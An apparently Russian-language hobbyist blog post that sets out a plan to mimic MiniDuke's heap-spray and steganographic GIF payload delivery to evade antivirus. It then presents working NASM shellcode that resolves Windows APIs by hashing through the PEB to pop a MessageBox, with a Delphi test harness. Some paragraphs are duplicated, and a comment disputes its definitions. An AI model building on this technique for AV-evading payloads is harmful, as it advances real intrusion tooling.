Вот типа и я))).
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:
короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:
короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.
я не буду показывать технику хипспрей(как работает можно найти в тырнете,в целом не трудно) предположительно план таков:
1)Напишем шеллкод (потому что хоть это у меня готово)
2)прокурим что это за тема такая "стеганография"
3)попробуем разобраться с переполнением на собственном примере
4)и попробуем сделать так что бы шеллкод исполнился в 3-пункте
// последние два пункта я не уверен еще ахаха)
А пока начнем с шеллкода.
что это,как пишется и т.д. и т.п. довольна обширная тема, к прочтению советуется wasm и статья slesh'a на античате.
я же скажу вкратце: шеллкод=базонезависимый код, прежде всего.
т.е. он должен работать например на линейке ОС windows с 2000 по 8 скажем, ну или как то так.
что бы добиться базонезависимости, мы понятно должны отречься от зашитых адресов функций из других систем windows ( потому что даже банальный патч или сервиспак уже может этот адрес изменить,и ясно дело шеллкод не будет работать).должны отречься от использования системных loadlibrary и getprocaddress (хотя они вроде и на древних виндах есть,но имхо это не шеллкод,а хрень получится),в идеале конечно шеллкод не должен содержать нуль-байтов, но это так,нам для наглядности и обычный подойдет.
Примерный алгоритм таков:
1)находим т.н. список модулей ininitorder
2)получаем указатель на kernel (обычно через PEB)
3)находим PE заголовок и таблицу экспорта имен
4)прошвыриваемся по таблице,сравнивая 16 битный хеш функции с нужным нам хешем
5)нашли хеш-находим адрес
6)нашли адрес-передаем параметры,вызываем.
и так я не мог проверить на древних виндах (если честно лень))))
работает на всех паках xp и 7 х86-х64
при выполнении выводит пустое окошко messagebox
написано на netwide assembler, исполнено на delphi (BASM).
приступим:
bits 32
rork equ 1
xloadlibrary equ 1101010101010b
xmessagebox equ 1011011000101010b
указываем что код 32-битный и указываем сдвиг для хеша, и хеши как вы догадались loadlibrary и messagebox
find_hash:
xor ecx, ecx
mov esi, [fs:ecx + 0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov ebp, [esi + 0x08]
mov edi, [esi + 0x20]
mov esi, [esi]
cmp [edi + 12*2], cl
jne next_module
находим ininitorder через PEB, получаем baseaddress, module name и проверяем закончились ли модули.
xgetprocaddress:
mov ebx, [ebp + 0x3c]
mov ebx, [ebp + ebx + 0x78]
add ebx, ebp
mov ecx, [ebx + 0x18]
jcxz next_module
находим заголовок PE и таблицу экспорта,а также число указателей имен ф-й.
теперь честно спизженная функция поиска по хешу :D
next_function_loop:
mov edi, [ebx + 0x20]
add edi, ebp
mov edi, [edi + ecx * 4 - 4]
add edi, ebp
xor eax, eax
cdq
hash_loop:
xor dl, [edi]
ror dx, byte rork
scasb
jne hash_loop
cmp dx, xmessagebox
je found_messagebox
cmp dx, xloadlibrary
loopne next_function_loop
jne next_module
found_messagebox:
mov edx, [ebx + 0x24]
add edx, ebp
movzx edx, word [edx + 2 * ecx]
mov edi, [ebx + 0x1c]
add edi, ebp
add ebp, [edi + 4 * edx]
test esi, esi
jz messagebox
проходимся по модулям по таблицам сравнивая хеши-нашли прыгаем, иначе грузим user32 dll т.к. messagebox содержится там
loadlibrary:
xor ecx, ecx
mov cx, 0x3233
push ecx
push 0x72657375
push esp
call ebp
xchg eax, ebp
xor esi, esi
jmp xgetprocaddress
значения,заталкиваемые в стэк, ничто иное как строка в хекс виде.
грузим dll- ку. в ebp будет указатель на нее.
ну осталось только вызвать
xor eax, eax
push eax
push eax
push eax
push eax
call ebp
вызываем как обычную АПИ.
Вот и все, получается такой себе 130 байтовый шеллкодес вызывающий сообщение)
проверим его таким методом:
program Project2;
var
data: array[0..129] of byte = (
$31, $C9, $64, $8B, $71, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E, $08, $8B,
$7E, $20, $8B, $36, $38, $4F, $18, $75, $F3, $8B, $5D, $3C, $8B, $5C, $1D, $78,
$01, $EB, $8B, $4B, $18, $67, $E3, $E4, $8B, $7B, $20, $01, $EF, $8B, $7C, $8F,
$FC, $01, $EF, $31, $C0, $99, $32, $17, $66, $C1, $CA, $01, $AE, $75, $F7, $66,
$81, $FA, $2A, $B6, $74, $09, $66, $81, $FA, $AA, $1A, $E0, $DB, $75, $BD, $8B,
$53, $24, $01, $EA, $0F, $B7, $14, $4A, $8B, $7B, $1C, $01, $EF, $03, $2C, $97,
$85, $F6, $74, $14, $31, $C9, $66, $B9, $33, $32, $51, $68, $75, $73, $65, $72,
$54, $FF, $D5, $95, $31, $F6, $EB, $A1, $6A, $00, $6A, $00, $6A, $00, $6A, $00,
$FF, $D5
);
begin
asm
lea eax,data
call eax
end;
end.
с первой частью покончено. продолжим чуть позже)
upd я немного изменил шеллкод,что бы был без нульбайт.
upd я немного изменил шеллкод,что бы был без нульбайт.
Вводите в заблуждение. Определение понятия шелл-кода, как и базонезависимости, не верны.
ОтветитьУдалить